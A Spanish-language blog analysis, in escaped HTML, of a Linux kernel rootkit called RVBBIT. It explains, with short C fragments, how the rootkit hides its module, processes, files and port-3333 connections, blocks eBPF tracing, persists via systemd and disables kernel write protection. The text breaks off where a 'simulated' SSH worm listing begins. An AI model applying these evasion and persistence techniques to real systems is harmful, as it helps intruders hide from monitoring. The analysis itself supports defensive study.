&lt;/p&gt;&lt;p data-end=&quot;1560&quot; data-start=&quot;1405&quot;&gt;A esto se suman mecanismos adicionales como la desactivación temporal de protecciones de escritura en el kernel y la limpieza de indicadores de compromiso.&lt;/p&gt;&lt;p data-end=&quot;1560&quot; data-start=&quot;1405&quot;&gt;&lt;a href=&quot;https://github.com/buter-chkalova/project-rvbbit&quot;&gt;https://github.com/buter-chkalova/project-rvbbit&lt;/a&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;table style=&quot;background-color: white; border-collapse: collapse; border-spacing: 0px; color: #1f2328; display: block; font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; font-variant-numeric: tabular-nums; margin-bottom: 16px; margin-top: 0px; max-width: 100%; overflow: auto; width: max-content;&quot;&gt;&lt;thead style=&quot;box-sizing: border-box;&quot;&gt;&lt;tr style=&quot;border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;th align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Característica&lt;/span&gt;&lt;/th&gt;&lt;th align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Descripción&lt;/span&gt;&lt;/th&gt;&lt;th align=&quot;center&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Estado&lt;/span&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody style=&quot;box-sizing: border-box;&quot;&gt;&lt;tr style=&quot;border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Ocultación de módulo&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Se quita así mismo de&amp;nbsp;&lt;code style=&quot;background-color: rgba(129, 139, 152, 0.12); border-radius: 6px; box-sizing: border-box; margin: 0px; padding: 0.2em 0.4em; tab-size: 4; white-space-collapse: break-spaces;&quot;&gt;/proc/modules&lt;/code&gt;&amp;nbsp;y&amp;nbsp;&lt;code style=&quot;background-color: rgba(129, 139, 152, 0.12); border-radius: 6px; box-sizing: border-box; margin: 0px; padding: 0.2em 0.4em; tab-size: 4; white-space-collapse: break-spaces;&quot;&gt;lsmod&lt;/code&gt;&amp;nbsp;via DKOM.&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;✅ Enabled&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: #f6f8fa; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 600; margin-bottom: 0px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Ocultación de procesos&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Oculta un proceso de minado de&lt;code style=&quot;background-color: rgba(129, 139, 152, 0.12); border-radius: 6px; box-sizing: border-box; margin: 0px; padding: 0.2em 0.4em; tab-size: 4; white-space-collapse: break-spaces;&quot;&gt;ps&lt;/code&gt;&amp;nbsp;y&amp;nbsp;&lt;code style=&quot;background-color: rgba(129, 139, 152, 0.12); border-radius: 6px; box-sizing: border-box; margin: 0px; padding: 0.2em 0.4em; tab-size: 4; white-space-collapse: break-spaces;&quot;&gt;/proc&lt;/code&gt;.&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;✅ Enabled&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 600; margin-bottom: 0px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Ocultación de ficheros&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Oculta ficheros con un prefijo específico del listado de directorios.&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;✅ Enabled&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: #f6f8fa; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 600; margin-bottom: 0px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Ocultación de puerto TCP&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Oculta las conexiones al puerto&amp;nbsp;&lt;code style=&quot;background-color: rgba(129, 139, 152, 0.12); border-radius: 6px; box-sizing: border-box; margin: 0px; padding: 0.2em 0.4em; tab-size: 4; white-space-collapse: break-spaces;&quot;&gt;3333&lt;/code&gt;&amp;nbsp;desde&amp;nbsp;&lt;code style=&quot;background-color: rgba(129, 139, 152, 0.12); border-radius: 6px; box-sizing: border-box; margin: 0px; padding: 0.2em 0.4em; tab-size: 4; white-space-collapse: break-spaces;&quot;&gt;/proc/net/tcp&lt;/code&gt;.&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;✅ Enabled&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 600; margin-bottom: 0px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Bypass de eBPF&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Bloquea la carga de programas eBPF no firmados (anti‑detection).&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;✅ Enabled&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: #f6f8fa; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 600; margin-bottom: 0px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Persistencia&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Instala un servicio systemd y una entrada modules‑load.d.&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;✅ Enabled&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 600; margin-bottom: 0px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Minado de criptomonedas&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Payload de minado de Monero (XMR)-&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;❌ REMOVED (simulated)&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: #f6f8fa; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 600; margin-bottom: 0px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Propagación de red&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;Fuerza bruta SSH y gusano auto-propagado.&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;❌ REMOVED&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2 data-end=&quot;1604&quot; data-section-id=&quot;1rf1622&quot; data-start=&quot;1567&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Ocultación del módulo en el kernel&lt;/span&gt;&lt;/h2&gt;&lt;p data-end=&quot;1794&quot; data-start=&quot;1606&quot;&gt;Uno de los primeros mecanismos de stealth que implementa el código es la ocultación del propio módulo cargado. Esto se realiza eliminando su entrada de las estructuras internas del kernel.&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;1917&quot; data-start=&quot;1796&quot;&gt;&lt;div class=&quot;contain-inline-size rounded-2xl corner-superellipse/1.1 relative bg-token-sidebar-surface-primary&quot;&gt;&lt;div class=&quot;sticky top-[calc(var(--sticky-padding-top)+9*var(--spacing))]&quot;&gt;&lt;div class=&quot;absolute end-0 bottom-0 flex h-9 items-center pe-2&quot;&gt;&lt;div class=&quot;bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;overflow-y-auto p-4&quot; dir=&quot;ltr&quot;&gt;&lt;code class=&quot;whitespace-pre! language-c&quot;&gt;list_del(&amp;amp;__this_module.&lt;span class=&quot;hljs-built_in&quot;&gt;list&lt;/span&gt;);
kobject_del(&amp;amp;__this_module.mkobj.kobj);
&lt;span class=&quot;hljs-built_in&quot;&gt;strncpy&lt;/span&gt;(__this_module.name, &lt;span class=&quot;hljs-string&quot;&gt;&quot;acpi&quot;&lt;/span&gt;, ...);
&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p data-end=&quot;2274&quot; data-start=&quot;1919&quot;&gt;Con esto, el módulo deja de aparecer en herramientas como lsmod o en el sistema de archivos virtual /sys. No se trata de un simple filtrado en espacio de usuario, sino de una eliminación directa de las referencias internas que el kernel utiliza para enumerar módulos cargados. El renombrado posterior del módulo actúa como una capa adicional de camuflaje.&lt;/p&gt;&lt;h2 data-end=&quot;2320&quot; data-section-id=&quot;1j18idd&quot; data-start=&quot;2281&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Ocultación de procesos mediante DKOM&lt;/span&gt;&lt;/h2&gt;&lt;p data-end=&quot;2523&quot; data-start=&quot;2322&quot;&gt;Uno de los aspectos más relevantes del rootkit es la ocultación de procesos sin depender de hooks en syscalls como getdents. En su lugar, modifica directamente las estructuras del scheduler del kernel.&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;2620&quot; data-start=&quot;2525&quot;&gt;&lt;div class=&quot;contain-inline-size rounded-2xl corner-superellipse/1.1 relative bg-token-sidebar-surface-primary&quot;&gt;&lt;div class=&quot;sticky top-[calc(var(--sticky-padding-top)+9*var(--spacing))]&quot;&gt;&lt;div class=&quot;absolute end-0 bottom-0 flex h-9 items-center pe-2&quot;&gt;&lt;div class=&quot;bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;overflow-y-auto p-4&quot; dir=&quot;ltr&quot;&gt;&lt;code class=&quot;whitespace-pre! language-c&quot;&gt;list_del(&amp;amp;task-&amp;gt;tasks);
list_del(&amp;amp;task-&amp;gt;sibling);
task-&amp;gt;pid_links[PIDTYPE_PID] = &lt;span class=&quot;hljs-literal&quot;&gt;NULL&lt;/span&gt;;
&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p data-end=&quot;2879&quot; data-start=&quot;2622&quot;&gt;Al eliminar estas referencias, el proceso deja de formar parte de las listas internas que el kernel utiliza para gestionar y exponer información de procesos. Como resultado, el proceso desaparece no solo de /proc, sino también de herramientas como ps o top.&lt;/p&gt;&lt;p data-end=&quot;3045&quot; data-start=&quot;2881&quot;&gt;Este enfoque es significativamente más profundo que el filtrado en espacio de usuario, ya que afecta directamente a la representación interna del sistema operativo.&lt;/p&gt;&lt;p data-end=&quot;3274&quot; data-start=&quot;3047&quot;&gt;El código además introduce un mecanismo de control encubierto mediante señales. El envío de la señal 64 a través de kill permite activar dinámicamente la ocultación de un proceso concreto, actuando como canal de control oculto.&lt;/p&gt;&lt;h2 data-end=&quot;3337&quot; data-section-id=&quot;llwr2x&quot; data-start=&quot;3281&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Ocultación de ficheros mediante hooking de getdents64&lt;/span&gt;&lt;/h2&gt;&lt;p data-end=&quot;3449&quot; data-start=&quot;3339&quot;&gt;El rootkit también intercepta la syscall getdents64, que es la base de la enumeración de directorios en Linux.&lt;/p&gt;&lt;p data-end=&quot;3606&quot; data-start=&quot;3451&quot;&gt;La lógica consiste en recorrer el buffer de resultados y eliminar aquellas entradas que coincidan con un prefijo aleatorio generado en tiempo de ejecución.&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;3654&quot; data-start=&quot;3608&quot;&gt;&lt;div class=&quot;contain-inline-size rounded-2xl corner-superellipse/1.1 relative bg-token-sidebar-surface-primary&quot;&gt;&lt;div class=&quot;sticky top-[calc(var(--sticky-padding-top)+9*var(--spacing))]&quot;&gt;&lt;div class=&quot;absolute end-0 bottom-0 flex h-9 items-center pe-2&quot;&gt;&lt;div class=&quot;bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;overflow-y-auto p-4&quot; dir=&quot;ltr&quot;&gt;&lt;code class=&quot;whitespace-pre! language-c&quot;&gt;&lt;span class=&quot;hljs-keyword&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;hljs-built_in&quot;&gt;strstr&lt;/span&gt;(dir-&amp;gt;d_name, hide_prefix))
&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p data-end=&quot;3804&quot; data-start=&quot;3656&quot;&gt;Las entradas se eliminan mediante manipulación del buffer devuelto por la syscall, reajustando las estructuras internas para evitar inconsistencias.&lt;/p&gt;&lt;p data-end=&quot;3962&quot; data-start=&quot;3806&quot;&gt;Este mecanismo afecta directamente a herramientas como ls o find, pero no elimina los ficheros del sistema, únicamente los oculta en la capa de enumeración.&lt;/p&gt;&lt;p data-end=&quot;4125&quot; data-start=&quot;3964&quot;&gt;El uso de un prefijo aleatorio generado con get_random_bytes introduce un componente adicional de evasión, ya que impide la detección basada en firmas estáticas.&lt;/p&gt;&lt;h2 data-end=&quot;4166&quot; data-section-id=&quot;lb1m68&quot; data-start=&quot;4132&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Ocultación de conexiones de red&lt;/span&gt;&lt;/h2&gt;&lt;p data-end=&quot;4355&quot; data-start=&quot;4168&quot;&gt;Otra funcionalidad relevante es la ocultación de conexiones TCP. Para ello, el código sustituye la función tcp4_seq_show, utilizada internamente para exponer información de /proc/net/tcp.&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;4409&quot; data-start=&quot;4357&quot;&gt;&lt;div class=&quot;contain-inline-size rounded-2xl corner-superellipse/1.1 relative bg-token-sidebar-surface-primary&quot;&gt;&lt;div class=&quot;sticky top-[calc(var(--sticky-padding-top)+9*var(--spacing))]&quot;&gt;&lt;div class=&quot;absolute end-0 bottom-0 flex h-9 items-center pe-2&quot;&gt;&lt;div class=&quot;bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;overflow-y-auto p-4&quot; dir=&quot;ltr&quot;&gt;&lt;code class=&quot;whitespace-pre! language-c&quot;&gt;&lt;span class=&quot;hljs-keyword&quot;&gt;if&lt;/span&gt; (sk &amp;amp;&amp;amp; sk-&amp;gt;sk_num == &lt;span class=&quot;hljs-number&quot;&gt;3333&lt;/span&gt;)
    &lt;span class=&quot;hljs-keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;;
&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p data-end=&quot;4560&quot; data-start=&quot;4411&quot;&gt;De esta forma, cualquier conexión asociada al puerto 3333 desaparece de las herramientas de inspección de red, aunque sigue activa a nivel de kernel.&lt;/p&gt;&lt;p data-end=&quot;4695&quot; data-start=&quot;4562&quot;&gt;Este tipo de técnica es habitual en rootkits modernos, ya que la mayoría de herramientas de monitorización dependen de esta interfaz.&lt;/p&gt;&lt;h2 data-end=&quot;4755&quot; data-section-id=&quot;1n0qokm&quot; data-start=&quot;4702&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Bloqueo de eBPF como mecanismo anti-observabilidad&lt;/span&gt;&lt;/h2&gt;&lt;p data-end=&quot;4857&quot; data-start=&quot;4757&quot;&gt;Uno de los aspectos más interesantes del proyecto es la desactivación de la carga de programas eBPF.&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;4912&quot; data-start=&quot;4859&quot;&gt;&lt;div class=&quot;contain-inline-size rounded-2xl corner-superellipse/1.1 relative bg-token-sidebar-surface-primary&quot;&gt;&lt;div class=&quot;sticky top-[calc(var(--sticky-padding-top)+9*var(--spacing))]&quot;&gt;&lt;div class=&quot;absolute end-0 bottom-0 flex h-9 items-center pe-2&quot;&gt;&lt;div class=&quot;bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;overflow-y-auto p-4&quot; dir=&quot;ltr&quot;&gt;&lt;code class=&quot;whitespace-pre! language-c&quot;&gt;&lt;span class=&quot;hljs-keyword&quot;&gt;if&lt;/span&gt; (cmd == BPF_PROG_LOAD)
    &lt;span class=&quot;hljs-keyword&quot;&gt;return&lt;/span&gt; -EPERM;
&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p data-end=&quot;5068&quot; data-start=&quot;4914&quot;&gt;Esto impide el uso de herramientas modernas de observabilidad basadas en eBPF, como sistemas de tracing o monitorización de comportamiento en tiempo real.&lt;/p&gt;&lt;p data-end=&quot;5290&quot; data-start=&quot;5070&quot;&gt;Más allá de ser una técnica de evasión clásica, esto refleja una tendencia clara: los rootkits modernos no solo intentan ocultarse del usuario, sino también de los sistemas de detección basados en kernel instrumentation.&lt;/p&gt;&lt;h2 data-end=&quot;5350&quot; data-section-id=&quot;1de259x&quot; data-start=&quot;5297&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Persistencia mediante systemd y módulos del kernel&lt;/span&gt;&lt;/h2&gt;&lt;p data-end=&quot;5583&quot; data-start=&quot;5352&quot;&gt;El mecanismo de persistencia combina dos niveles. Por un lado, se escribe una configuración en /etc/modules-load.d para asegurar la carga del módulo. Por otro, se instala un servicio systemd que fuerza su reinyección en el sistema.&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;5636&quot; data-start=&quot;5585&quot;&gt;&lt;div class=&quot;contain-inline-size rounded-2xl corner-superellipse/1.1 relative bg-token-sidebar-surface-primary&quot;&gt;&lt;div class=&quot;sticky top-[calc(var(--sticky-padding-top)+9*var(--spacing))]&quot;&gt;&lt;div class=&quot;absolute end-0 bottom-0 flex h-9 items-center pe-2&quot;&gt;&lt;div class=&quot;bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;overflow-y-auto p-4&quot; dir=&quot;ltr&quot;&gt;&lt;code class=&quot;whitespace-pre! language-c&quot;&gt;call_usermodehelper(&lt;span class=&quot;hljs-string&quot;&gt;&quot;/bin/systemctl&quot;&lt;/span&gt;, ...)
&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p data-end=&quot;5751&quot; data-start=&quot;5638&quot;&gt;Esto permite que el módulo se cargue automáticamente en cada arranque, incluso si ha sido descargado previamente.&lt;/p&gt;&lt;h2 data-end=&quot;5811&quot; data-section-id=&quot;1x1az21&quot; data-start=&quot;5758&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Simulación de minería y comportamiento persistente&lt;/span&gt;&lt;/h2&gt;&lt;p data-end=&quot;6069&quot; data-start=&quot;5813&quot;&gt;Aunque la funcionalidad original de minería ha sido eliminada, el código mantiene una simulación de proceso activo. Este proceso se oculta utilizando el mismo mecanismo de DKOM aplicado a procesos reales y se mantiene vivo mediante una workqueue periódica.&lt;/p&gt;&lt;p data-end=&quot;6191&quot; data-start=&quot;6071&quot;&gt;El objetivo no es funcional, sino comportamental: simular la presencia de un proceso persistente típico de cryptominers.&lt;/p&gt;&lt;h2 data-end=&quot;6245&quot; data-section-id=&quot;jyjkhd&quot; data-start=&quot;6198&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Limpieza de huellas y bypass de protecciones&lt;/span&gt;&lt;/h2&gt;&lt;p data-end=&quot;6467&quot; data-start=&quot;6247&quot;&gt;El módulo incluye mecanismos adicionales que refuerzan su carácter evasivo. Entre ellos destaca la modificación de la variable de taint del kernel, lo que dificulta la detección de modificaciones no estándar del sistema.&lt;/p&gt;&lt;p data-end=&quot;6659&quot; data-start=&quot;6469&quot;&gt;También se desactiva temporalmente la protección de escritura del kernel mediante la manipulación del registro CR0, permitiendo la modificación de estructuras críticas como la syscall table.&lt;/p&gt;&lt;h2 data-end=&quot;339&quot; data-section-id=&quot;199ks6d&quot; data-start=&quot;266&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Hipótesis de implementación: módulo de propagación SSH (worm userland)&lt;/span&gt;&lt;/h2&gt;&lt;p data-end=&quot;760&quot; data-start=&quot;341&quot;&gt;Aunque el código de RVBBIT no incluye funcionalidad de propagación, su diseño sugiere claramente una separación entre las capacidades de stealth en kernel space y una posible capa de movimiento lateral en user space. Este patrón es coherente con la arquitectura de muchos rootkits modernos: el kernel se utiliza para ocultación y persistencia, mientras que la propagación se delega a un componente externo más flexible.&lt;/p&gt;&lt;p data-end=&quot;1097&quot; data-start=&quot;762&quot;&gt;En un escenario realista, este módulo de propagación no residiría en el kernel, sino en un proceso auxiliar controlado por el propio rootkit, activado mediante triggers internos (como señales o workqueues). Su objetivo sería realizar descubrimiento de hosts, validación de credenciales SSH y despliegue del payload en sistemas remotos.&lt;/p&gt;&lt;p data-end=&quot;6659&quot; data-start=&quot;6469&quot;&gt;


&lt;/p&gt;&lt;p data-end=&quot;1292&quot; data-start=&quot;1099&quot;&gt;A continuación se muestra una implementación &lt;strong data-end=&quot;1168&quot; data-start=&quot;1144&quot;&gt;simulada y educativa&lt;/strong&gt;, sin capacidades reales de ataque, que representa la lógica de un gusano SSH típico desde el punto de vista de arquitectura.&lt;/p&gt;&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;span style=&quot;font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-size: 12px;&quot;&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;#define MAX_HOSTS 